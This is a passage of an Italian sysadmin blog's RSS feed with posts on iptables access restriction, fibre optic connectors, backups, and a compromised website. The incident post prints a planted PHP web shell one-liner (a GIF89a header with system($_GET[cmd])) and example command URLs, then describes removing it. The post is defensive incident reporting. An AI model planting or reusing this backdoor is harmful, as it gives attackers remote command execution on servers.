-j ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -s &amp;lt;IP sorgente consentito&amp;gt;/32 -d &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;&lt;/span&gt;&lt;/strong&gt;/32 -p tcp --dport 80 -j ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -s &amp;lt;IP sorgente consentito&amp;gt;/32 -d &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;&lt;/span&gt;&lt;/strong&gt;/32 -p tcp --dport 80 -j ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -s &amp;lt;IP sorgente consentito&amp;gt;/32 -d &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;&lt;/span&gt;&lt;/strong&gt;/32 -p tcp --dport 80 -j ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -d &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;&lt;/span&gt;&lt;/strong&gt;/32 -j LOG&amp;nbsp; --log-prefix &quot;Private Area Access Attempt:&quot; --log-level 4&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -d &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;&lt;/span&gt;&lt;/strong&gt;/32 -p ICMP -j ACCEPT&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;iptables -A INPUT -d &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;IP pubblico assegnato all'interfaccia virtuale&amp;gt;&lt;/span&gt;&lt;/strong&gt;/32 -j DROP&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;exit 0&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;In soldoni, ho prima consentito l'accesso via Web al suddetto &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;virtual host&lt;/span&gt;&lt;/strong&gt; solo a &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;determinati indirizzi IP pubblici&lt;/span&gt;&lt;/strong&gt;. Successivamente ho impostato una regola per il &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;logging&lt;/span&gt;&lt;/strong&gt; dei tentativi di accesso non autorizzati, consentendo solo il traffico &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ICMP&lt;/span&gt;&lt;/strong&gt; (aka &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ping&lt;/span&gt;&lt;/strong&gt;) proveniente da qualunque indirizzo sorgente (per questione di praticità durante le eventuali operazioni di diagnostica).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Infine ho droppato tutto il traffico diretto all'&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;interfaccia virtuale&lt;/span&gt;&lt;/strong&gt; che non rispetta nessuna delle regole definite in precedenza.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Copio le suddette regole all'interno del file&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; /etc/rc.local&lt;/span&gt;&lt;/strong&gt; per renderle attive anche dopo eventuali &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;reboot&lt;/span&gt;&lt;/strong&gt; della macchina e facciamo alcuni test per verificare che tutto funzioni correttamente (tentativo di accesso via Browser al &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;virtual host&lt;/span&gt;&lt;/strong&gt;, prima da &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;indirizzo IP&lt;/span&gt;&lt;/strong&gt; consentito e successivamente da &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;indirizzo IP&lt;/span&gt;&lt;/strong&gt; non consentito).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Inoltre, per loggare i tentativi di accesso non autorizzati, occorre modificare la configurazione del file &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;syslog.conf&lt;/span&gt;&lt;/strong&gt;, aggiungendo la seguente entry all'inizio del file in questione:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;kern.warning&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /var/log/iptables.log&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Infine, lancio un restart del demone di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;logging&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[root@server vhosts.d]# service syslog restart&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;E' tutto, alla prossima.&lt;/span&gt;&lt;/p&gt;
</description>
</item>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/04/25/ancora-un-sito-violato.html</guid>
<title>Ancora un sito violato</title>
<link>http://nazarenolatella.myblog.it/archive/2013/04/25/ancora-un-sito-violato.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>Sicurezza</category>
<pubDate>Thu, 25 Apr 2013 12:39:00 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Recentemente ho dovuto fare un po' di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;meta tag&lt;/span&gt;&lt;/strong&gt; delle pagine &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;, in modo da ottenere un ranking più elevato nei motori di ricerca (&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SEO&lt;/span&gt;&lt;/strong&gt;).&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/00/01/3104850125.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2359189&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/00/01/1621842577.jpg&quot; alt=&quot;backdoor.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Dopo essere atterrato sullo spazio &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;FTP&lt;/span&gt;&lt;/strong&gt; riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;xxx.php&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;il cui contenuto era semplice ma abbastanza esplicativo:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;GIF89a&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;?php system(&quot;$_GET[cmd]&quot;); exit; ?&amp;gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;In pratica la funzione &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;system&lt;/span&gt;&lt;/strong&gt; di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;php&lt;/span&gt;&lt;/strong&gt; consente di richiamare dei comandi di sistema semplicemente mediante &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;POST&lt;/span&gt;&lt;/strong&gt; o, ancora più banalmente, mediante &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;GET&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Per intenderci, utilizzando una &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;URL&lt;/span&gt;&lt;/strong&gt; forgiata nel seguente modo:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;http://www.sito.com?ls&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;sarebbe stato possibile per l'attaccante listare il contenuto delle directory, oppure, mediante:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; http://www.sito.com?ping%20indirizzoip&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;avrebbe potuto lanciare un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ping&lt;/span&gt;&lt;/strong&gt; verso una macchina specifica (il &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;%20&lt;/span&gt;&lt;/strong&gt; è semplicemente lo spazio in &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;URL encoding&lt;/span&gt;&lt;/strong&gt;).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Ovviamente, i comandi a disposizione dell'attaccante sono tutti quelli usufruibili mediante la funzione &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;system&lt;/span&gt;&lt;/strong&gt; (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;backdoor&lt;/span&gt;&lt;/strong&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Fortunatamente, l'hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;php.ini&lt;/span&gt;&lt;/strong&gt;, editando il paramentro &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;disable_functions&lt;/span&gt;&lt;/strong&gt;:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Infine, ho brasato la pagina &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;xxx.php&lt;/span&gt;&lt;/strong&gt; ed ho modificato le credenziali di accesso allo spazio&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; FTP&lt;/span&gt;&lt;/strong&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;E' tutto.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;PS: ogni tanto fare un &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ls&lt;/span&gt;&lt;/strong&gt; della &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;root dir&lt;/span&gt;&lt;/strong&gt; del sito non sarebbe male, tanto per stare tranquilli.&lt;/span&gt;&lt;/p&gt;
</description>
</item>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/04/14/fibra-ottica-overview-sui-connettori.html</guid>
<title>Fibra ottica: overview sui connettori</title>
<link>http://nazarenolatella.myblog.it/archive/2013/04/14/fibra-ottica-overview-sui-connettori.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>Networking</category>
<pubDate>Mon, 22 Apr 2013 10:00:00 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;La fibra ottica ha rappresentato una vera e propria rivoluzione nell'ambito delle reti di telecomunicazioni, poichè in grado di coprire lunghe distanze, offrendo una banda teoricamente illimitata.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Senza dilungarmi troppo sulle caratteristiche di tale mezzo trasmissivo, vorrei approfondire la tematica dei connettori. Infatti, non ne esiste soltanto un tipo, poichè, col passare degli anni, i diversi vendor hanno cercato di rendere predominante la tipologia sviluppata all'interno dei propri laboratori. I tipi di connettori maggiormente diffusi sono i seguenti:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;1) &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ST (Straight Tip)&lt;/span&gt;&lt;/strong&gt;, utilizzato soprattutto nellambito delle &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;LAN&lt;/span&gt;&lt;/strong&gt; e delle fibre multimodali (che per definizione coprono una distanza &amp;lt;&amp;lt; rispetto alle fibre monomodali);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/00/00/1653918078.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2348908&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/00/00/3378676533.jpg&quot; alt=&quot;st.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;2) &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;LC&lt;/span&gt;&lt;/strong&gt; (connettore sviluppato da &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Lucent&lt;/span&gt;&lt;/strong&gt;, ora &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Alcatel-Lucent&lt;/span&gt;&lt;/strong&gt;), è uno dei connettori più diffusi e garantisce velocità superiori a &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;10 Gbps&lt;/span&gt;&lt;/strong&gt; (è anche il più recente tra i connettori &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SFF&lt;/span&gt;&lt;/strong&gt; - &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;small-form factor&lt;/span&gt;&lt;/strong&gt;);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/02/00/2614454971.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2348894&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/02/00/3911350505.jpg&quot; alt=&quot;lc.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;3) &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SC (Subscriber Connector)&lt;/span&gt;&lt;/strong&gt;, come i connettori&lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt; LC&lt;/span&gt;&lt;/strong&gt; supporta velocità di trasmissione superiori a &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;10 Gbps&lt;/span&gt;&lt;/strong&gt;;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/00/02/3847821366.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2348900&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/00/02/463653031.jpg&quot; alt=&quot;sc.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;4) &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;MT-RJ&lt;/span&gt;&lt;/strong&gt;, ovvero uno dei primi connettori &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SFF&lt;/span&gt;&lt;/strong&gt;, riunisce in &quot;un unico corpo&quot; sia la fibra in &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;TX&lt;/span&gt;&lt;/strong&gt; che quella in &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;RX&lt;/span&gt;&lt;/strong&gt; (a differenza dei connettori &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;LC&lt;/span&gt;&lt;/strong&gt;, in cui &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;TX&lt;/span&gt;&lt;/strong&gt; ed &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;RX&lt;/span&gt;&lt;/strong&gt; sono separati e per questo si parla di &quot;bretelle&quot;)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://nazarenolatella.myblog.it/media/01/00/3407518983.2.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;media-2348909&quot; style=&quot;margin: 0.7em 0;&quot; title=&quot;&quot; src=&quot;http://nazarenolatella.myblog.it/media/01/00/479438716.2.jpg&quot; alt=&quot;MT-RJ.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Per quanto mi riguarda, dal punto di vista della mia (seppur ancora breve) esperienza con la fibra ottica, posso affermare che i cassetti ottici sono solitamente datati di porte per connettori &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SC&lt;/span&gt;&lt;/strong&gt;, mentre i dispositivi di rete ad essi collegati possiedono dei moduli aggiuntivi &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;SFP&lt;/span&gt;&lt;/strong&gt; per connettori &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;LC&lt;/span&gt;&lt;/strong&gt;. &lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Alla prossima.&lt;/span&gt;&lt;/p&gt;
</description>
</item>
<item>
<guid isPermaLink="true">http://nazarenolatella.myblog.it/archive/2013/04/18/backup-differenziali-ed-incrementali.html</guid>
<title>Backup differenziali ed incrementali</title>
<link>http://nazarenolatella.myblog.it/archive/2013/04/18/backup-differenziali-ed-incrementali.html</link>
<author>noreply@myblog.it (nazarenolatella)</author>
<category>Tip della Settimana</category>
<pubDate>Thu, 18 Apr 2013 12:04:55 +0200</pubDate>
<description>
&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Volete ripristinare dei backup ed avere la certezza (sempre con i dovuti scongiuri e &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Murphy&lt;/span&gt;&lt;/strong&gt; permettendo) che tutto funzionerà a dovere? Allora seguite questa regola:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&quot;Non mischiare MAI &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;backup incrementali&lt;/span&gt;&lt;/strong&gt; e &lt;strong&gt;&lt;span style=&quot;font-size: small;&quot;&gt;differenziali&lt;/span&gt;&lt;/strong&gt;&quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;potreste avere delle brutte sorprese in fase di ripristino...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Alla prossima.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;PS: per maggiori informazioni sulle tipologie di backup potete consultare &lt;a href=&quot;http://nazarenolatella.myblog.it/archive/2013/01/09/tipologie-di-backup.html&quot; target=&quot;_blank&quot;&gt;questo&lt;/a&gt; post.&lt;/span&gt;&lt;/p&gt;
</description>
</item>
</channel>
</rss>